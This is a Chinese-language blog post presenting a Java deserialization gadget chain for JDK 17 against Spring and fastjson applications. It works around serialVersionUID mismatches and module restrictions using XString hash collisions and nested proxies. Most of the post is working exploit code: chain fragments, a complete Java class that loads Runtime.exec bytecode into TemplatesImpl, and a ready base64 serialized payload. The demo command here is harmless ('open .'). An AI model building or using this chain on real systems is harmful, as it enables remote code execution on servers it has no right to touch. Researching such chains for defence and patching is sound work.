0x01 前提
最近出了spring下的jdk17 template链。其主要主要利用aop去代理javax.xml.transform.Templates, 这样在出发getoutputProperties时,moudle就是变为了javax.xml.transform 在一个包下,绕过了moudle限制。

在不使用aop代理的时候。 不在一个包下

可见核心就是使用JdkDynamicAopProxy去代理。
在测试过程中,我发现了高低版本spring的aop 会有 serid不一致的问题。而且由于一般我们都是用jdk8的工具去生成反序列化数据。


然么这个问题该怎么解决了

使用chains得serdunmp 解析了修改后在重新build。
但是在继续测试时, 发现了tostring头的serid也不一致

1
| UIDefaults$TextAndMnemonicHashMap2tostring
|

1
| BadAttributeValueExpException 在jdk17 也g了
|

怎么解决了? 我们知道jdk17绕过主利用动态代理,也就是我们完全可以换一下

直接使用cb利用chains的强大拼接功能就可以解决。直接cb打穿jdk!!!
也可以是用cc里面的tostring去出发,这些也在chains里有。利用cc(全版本通用)的CaseInsensitiveMap去出发,借助于第三方依赖来进行tostring,这样就不会有serid的问题

1 2 3 4 5 6 7 8 9 10 11
| Map s = (Map) utils.createWithoutConstructor("org.apache.commons.collections.map.CaseInsensitiveMap"); Class<?> nodeB; nodeB = Class.forName("org.apache.commons.collections.map.AbstractHashedMap$HashEntry");
Constructor<?> nodeCons = nodeB.getDeclaredConstructor(nodeB, int.class, Object.class, Object.class); nodeCons.setAccessible(true); Object tbl = Array.newInstance(nodeB, 1); Array.set(tbl, 0, nodeCons.newInstance(null, 0, toStringObj, toStringObj)); utils.setFieldValue(s, "data", tbl); utils.setFieldValue(s, "size", 1);
|
具体构造如上。
但是这样都不太符合懒人选择,要选来选去,还要考虑jdk带来的serid 影响。
0x02 分析
so? 我们肯定是希望找一个在jdk8和在jdk17上 serid都一致的出发头,最后不依赖第三方,这也是为了以后方便拼接。所以com.sun.org.apache.xpath.internal.objects.XString就来了。
com.sun.org.apache.xpath.internal.objects.XString


他们的serid以及子类是一样的。
也就是我们只需要利用xstring的equals来出发tostring就好了。也就是把hascode搞一致就行了
1 2 3 4 5 6 7 8 9 10 11
| Class<?> aClass1 = Class.forName("com.sun.org.apache.xpath.internal.objects.XStringForChars"); Object xstring = utils.createWithoutConstructor(aClass1); utils.setFieldValue(xstring,"m_obj",new char[]{}); HashMap hashMap1 = new HashMap(); HashMap hashMap2 = new HashMap();
hashMap1.put("通话",xstring); hashMap1.put("重地",node); hashMap2.put("重地",xstring); hashMap2.put("通话",node); HashMap<Object, Object> map = utils.makeMap(hashMap1, hashMap2);
|
总结一下就是这样就行了,两个map的hashcode会一致,进而出发xstring.equals.node。这样我们在jdk8生成的序列化就可以在jdk17上用了。
现在就是aop高低版本下的serid不一致。或者我们不妨在限制一下
1
| org.springframework.aop.framework.JdkDynamicAopProxy
|
在黑名单的情况(许多产品的黑名单里常客。)
0x03 spring+fj
这里也发现可以用org.springframework.beans.factory.support.AutowireUtils.ObjectFactoryDelegatingInvocationHandler来进行替代,它在高低版本的sprinh中也没有serid的问题(我测试高低版本没有,aop是会包serid不一致)


ObjectFactory接口的getter然后会返回一个泛型T。
也就是我们使用这个ObjectFactoryDelegatingInvocationHandler去javax.xml.transform.Templates, 然后在objectFactory.getObject()返回一个templatesImpl就可以达到和aop代理一样的效果了。

但是显然在spring里是没有的。但是它也是个接口,还可以通过动态代理来返回templatesImpl对象
在查找资料的时候发现了补天社区有大哥文章中有现成的。
com.alibaba.fastjson.JSONObject#invoke

它会从map中获取vaule,然后调用TypeUtils.cast进行强转后返回。method.getGenericReturnType()它会获取强转的类型。 最巧的来了

利用jsonobject代理ObjectFactory接口 那么然后强转的就是T,也就是可以成功返回一个templatesImpl对象,不会导致强转类型失败。
整理一下代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| HashMap<String, Object> hashMap = new HashMap<>(); hashMap.put("object", templates);
JSONObject jsonObject = new JSONObject(hashMap);
Object o2 = Proxy.newProxyInstance(Thread.currentThread().getContextClassLoader(),new Class[]{ObjectFactory.class},jsonObject); Object inv = utils.createWithoutConstructor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler"); utils.setFieldValue(inv, "objectFactory", o2);
Object o = Proxy.newProxyInstance(Thread.currentThread().getContextClassLoader(),new Class[]{Templates.class},(InvocationHandler)inv); JSONArray objects = new JSONArray(); objects.add(o); XString xstring=new XString(""); HashMap hashMap1 = new HashMap(); HashMap hashMap2 = new HashMap(); hashMap1.put("通话",xstring); hashMap1.put("重地",objects); hashMap2.put("重地",xstring); hashMap2.put("通话",objects); HashMap<Object, Object> map = utils.makeMap(hashMap1, hashMap2);
|
0x04 坑
我们知道fastjson在1.2.48以后原生序列化是有了自己的readObject。

SecureObjectInputStream重写了resolveClass,调用了checkAutoType检查。
具体原理可以查看y4tacker师傅的博客

在jdk8下生成好数据后,

jdk17下 还是调用不了。
简单说明一下原因
com.alibaba.fastjson.JSONObject#readObject

com.alibaba.fastjson.JSONObject.SecureObjectInputStream

fj的SecureObjectInputStream 在反序列的时候使用了反射,但是由于没有导包,然后没有预期的绕过。所以我们加上**–add-opens java.base/java.io=ALL-UNNAMED**即可。



基本上高jdk的web应用都会开发这个包.

开发包后,再次执行 成功弹出。
至此在spring+fj的依赖下,我们得到了一条在jdk17可用且不用考虑serid带来影响的链子。
完整代码
导包
1
| --add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.io=ALL-UNNAMED
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62
| package com.unam4.test;
import com.alibaba.fastjson.JSONArray; import com.alibaba.fastjson.JSONObject; import com.unam4.utils; import javassist.ClassPool; import javassist.CtClass; import javassist.CtMethod; import org.springframework.beans.factory.ObjectFactory;
import javax.xml.transform.Templates; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.ArrayList; import java.util.Base64; import java.util.HashMap;
public class jdk17templatefj { public static void main(String[] args) throws Exception { ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("Cat"); String cmd = "java.lang.Runtime.getRuntime().exec(\"open .\");"; cc.makeClassInitializer().insertBefore(cmd); byte[] classBytes = cc.toBytecode(); CtClass ctClass1 = pool.makeClass("Foo");
Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); Object templates = utils.createWithoutConstructor(aClass); utils.setFieldValue(templates,"_name","n1ght"); utils.setFieldValue(templates,"_bytecodes", new byte[][] {classBytes, ctClass1.toBytecode()}); HashMap<String, Object> hashMap = new HashMap<>(); hashMap.put("object", templates);
JSONObject jsonObject = new JSONObject(hashMap);
Object o2 = Proxy.newProxyInstance(Thread.currentThread().getContextClassLoader(),new Class[]{ObjectFactory.class},jsonObject); Object inv = utils.createWithoutConstructor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler"); utils.setFieldValue(inv, "objectFactory", o2);
Object o = Proxy.newProxyInstance(Thread.currentThread().getContextClassLoader(),new Class[]{Templates.class},(InvocationHandler)inv); JSONArray objects = new JSONArray(); objects.add(o); Class<?> aClass1 = Class.forName("com.sun.org.apache.xpath.internal.objects.XStringForChars"); Object xstring = utils.createWithoutConstructor(aClass1); utils.setFieldValue(xstring,"m_obj",new char[]{}); HashMap hashMap1 = new HashMap(); HashMap hashMap2 = new HashMap(); hashMap1.put("通话",xstring); hashMap1.put("重地",objects); hashMap2.put("重地",xstring); hashMap2.put("通话",objects); HashMap<Object, Object> map = utils.makeMap(hashMap1, hashMap2); ArrayList<Object> arrayList = new ArrayList<>(); arrayList.add(templates); arrayList.add(o); arrayList.add(map); byte[] serialize = utils.serialize(arrayList); utils.unserialize(Base64.getDecoder().decode("rO0ABXNyABNqYXZhLnV0aWwuQXJyYXlMaXN0eIHSHZnHYZ0DAAFJAARzaXpleHAAAAADdwQAAAADc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0/BbqyrMwMABkkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFsACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3N0ABJbTGphdmEvbGFuZy9DbGFzcztMAAVfbmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO0wAEV9vdXRwdXRQcm9wZXJ0aWVzdAAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzO3hwAAAAAAAAAAB1cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAJ1cgACW0Ks8xf4BghU4AIAAHhwAAABUsr+ur4AAAA0ABkBAANDYXQHAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAKU291cmNlRmlsZQEACENhdC5qYXZhAQAIPGNsaW5pdD4BAAMoKVYBAARDb2RlAQARamF2YS9sYW5nL1J1bnRpbWUHAAoBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAMAA0KAAsADgEABm9wZW4gLggAEAEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMABIAEwoACwAUAQAGPGluaXQ+DAAWAAgKAAQAFwAhAAIABAAAAAAAAgAIAAcACAABAAkAAAAWAAIAAAAAAAq4AA8SEbYAFVexAAAAAAABABYACAABAAkAAAARAAEAAQAAAAUqtwAYsQAAAAAAAQAFAAAAAgAGdXEAfgAKAAAAlsr+ur4AAAA0AAwBAANGb28HAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAKU291cmNlRmlsZQEACEZvby5qYXZhAQAGPGluaXQ+AQADKClWDAAHAAgKAAQACQEABENvZGUAIQACAAQAAAAAAAEAAQAHAAgAAQALAAAAEQABAAEAAAAFKrcACrEAAAAAAAEABQAAAAIABnB0AAVuMWdodHB3AQB4c30AAAABAB1qYXZheC54bWwudHJhbnNmb3JtLlRlbXBsYXRlc3hyABdqYXZhLmxhbmcucmVmbGVjdC5Qcm94eeEn2iDMEEPLAgABTAABaHQAJUxqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uSGFuZGxlcjt4cHNyAGBvcmcuc3ByaW5nZnJhbWV3b3JrLmJlYW5zLmZhY3Rvcnkuc3VwcG9ydC5BdXRvd2lyZVV0aWxzJE9iamVjdEZhY3RvcnlEZWxlZ2F0aW5nSW52b2NhdGlvbkhhbmRsZXLq9unb4jygewIAAUwADW9iamVjdEZhY3Rvcnl0ADFMb3JnL3NwcmluZ2ZyYW1ld29yay9iZWFucy9mYWN0b3J5L09iamVjdEZhY3Rvcnk7eHBzfQAAAAEAL29yZy5zcHJpbmdmcmFtZXdvcmsuYmVhbnMuZmFjdG9yeS5PYmplY3RGYWN0b3J5eHEAfgAPc3IAH2NvbS5hbGliYWJhLmZhc3Rqc29uLkpTT05PYmplY3QAAAAAAAAAAQIAAUwAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAADHcIAAAAEAAAAAF0AAZvYmplY3RxAH4AB3hzcQB+ABo/QAAAAAAAAHcIAAAAAgAAAAJzcQB+ABo/QAAAAAAADHcIAAAAEAAAAAJ0AAbpgJror51zcgAxY29tLnN1bi5vcmcuYXBhY2hlLnhwYXRoLmludGVybmFsLm9iamVjdHMuWFN0cmluZxwKJztIFsX9AgAAeHIAMWNvbS5zdW4ub3JnLmFwYWNoZS54cGF0aC5pbnRlcm5hbC5vYmplY3RzLlhPYmplY3T0mBIJu3u2GQIAAUwABW1fb2JqdAASTGphdmEvbGFuZy9PYmplY3Q7eHIALGNvbS5zdW4ub3JnLmFwYWNoZS54cGF0aC5pbnRlcm5hbC5FeHByZXNzaW9uB9mmHI2srNYCAAFMAAhtX3BhcmVudHQAMkxjb20vc3VuL29yZy9hcGFjaGUveHBhdGgvaW50ZXJuYWwvRXhwcmVzc2lvbk5vZGU7eHBwdAAAdAAG6YeN5Zywc3IAHmNvbS5hbGliYWJhLmZhc3Rqc29uLkpTT05BcnJheQAAAAAAAAABAgABTAAEbGlzdHQAEExqYXZhL3V0aWwvTGlzdDt4cHNxAH4AAAAAAAF3BAAAAAFxAH4AEXh4dAAEa2V5MXNxAH4AGj9AAAAAAAAMdwgAAAAQAAAAAnEAfgAncQB+ACVxAH4AH3EAfgAqeHQABGtleTJ4eA==")); } }
|
refence
https://y4tacker.github.io/2023/04/26/year/2023/4/FastJson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-%E4%BA%8C/
https://forum.butian.net/share/4153